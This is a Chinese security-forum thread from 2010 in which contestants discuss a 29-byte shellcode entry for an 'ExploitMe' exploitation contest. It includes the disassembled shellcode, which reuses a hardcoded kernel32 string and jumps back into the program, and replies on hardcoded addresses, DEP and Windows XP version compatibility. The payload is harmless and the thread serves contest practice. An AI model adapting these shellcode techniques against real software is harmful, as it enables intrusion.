首页
社区
课程
招聘
[讨论]29byte 兼容性优先无错版.
发表于: 2010-10-20 23:10 6870

[讨论]29byte 兼容性优先无错版.

2010-10-20 23:10
6870

0012FCAB    BE 6C604000          mov esi,0x40606C                                 ; UNICODE "ExploitMe"
0012FCB0    6A 00                push 0x0
0012FCB2    56                   push esi
0012FCB3    57                   push edi
0012FCB4    B9 0E000000          mov ecx,0xE
0012FCB9    F3:A4                rep movs byte ptr es:[edi],byte ptr ds:[esi]
0012FCBB    B9 10000000          mov ecx,0x10
0012FCC0    BE 22B1897C          mov esi,0x7C89B122                               ; UNICODE " successfully.
"
0012FCC5    F3:A4                rep movs byte ptr es:[edi],byte ptr ds:[esi]
0012FCC7  - E9 00152D00          jmp ExploitM.004011CC

估计还可以优化下。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (12)
雪    币: 2362
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
兼容纯属虚构
2010-10-20 23:13
0
雪    币: 59
活跃值: (55)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
你13XXXX栈就飘过吧
2010-10-20 23:15
0
雪    币: 59
活跃值: (55)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
我说的兼容是能保证运行后不出错,你的情况是直接无法运行你已经属于排除范例。
2010-10-20 23:16
0
雪    币: 205
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
感觉很多选手都栽在硬编码上了
2010-10-20 23:49
0
雪    币: 59
活跃值: (55)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
6
不硬编码要如何。。开始的跳板 6byte你能缩减吗?
2010-10-20 23:54
0
雪    币: 206
活跃值: (186)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
mov ecx,0xE
mov ecx,0x10

这两句为什么不写成
push 0x0E
pop ecx
push 0x10
pop ecx

这样又能省掉四个字节,楼主现在应该很郁闷了。
2010-10-21 00:01
0
雪    币: 206
活跃值: (186)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
8
哦,统计的是非零字节,刚才想错了,呵
2010-10-21 00:04
0
雪    币: 205
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
一开始的两个堆栈指针可以修改解决或者关闭DEP,这样堆栈基址基本都会在0x130000
但是遇到某些版本的kernel32时硬编码地址就会指错字符串了,比如说这个是你的答卷在winxp sp2下的测试。并且这样做也不保证兼容以后版本的kernel32,只能寄望考官使用相同版本的kernel32.dll
上传的附件:
2010-10-21 00:36
0
雪    币: 440
活跃值: (119)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
10
利用了0012FCC0    BE 22B1897C          mov esi,0x7C89B122                               ; UNICODE " successfully.
kernel32中的字符串呀,强悍~~~
2010-10-21 10:26
0
雪    币: 59
活跃值: (55)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
11
限制平台不是说了winxp sp3吗?
2010-10-21 10:32
0
雪    币: 458
活跃值: (421)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
12
我的29B的硬了一次 是堆栈硬
你的硬了2次  硬到kernel32里了  哈哈  这题目现在感觉还是 黑白 先生做的最完善 思考的最全面。
2010-10-21 10:43
0
雪    币: 59
活跃值: (55)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
13
他那个利用目录明文件名来充当shellcode的如果是实际应用那么我很赞赏,但这终归是比赛,比赛就要有规则,虽然规则也没有说不能利用目录文件名来做,但想下,如果这都可以那为什么评委还专门在规则里面写了只能更改和提交exploit.dat,岂不是冲突。但从纯技术角度考虑他的实现的确花费了不少功夫值得肯定。
2010-10-21 19:25
0
游客
登录 | 注册 方可回帖
返回
//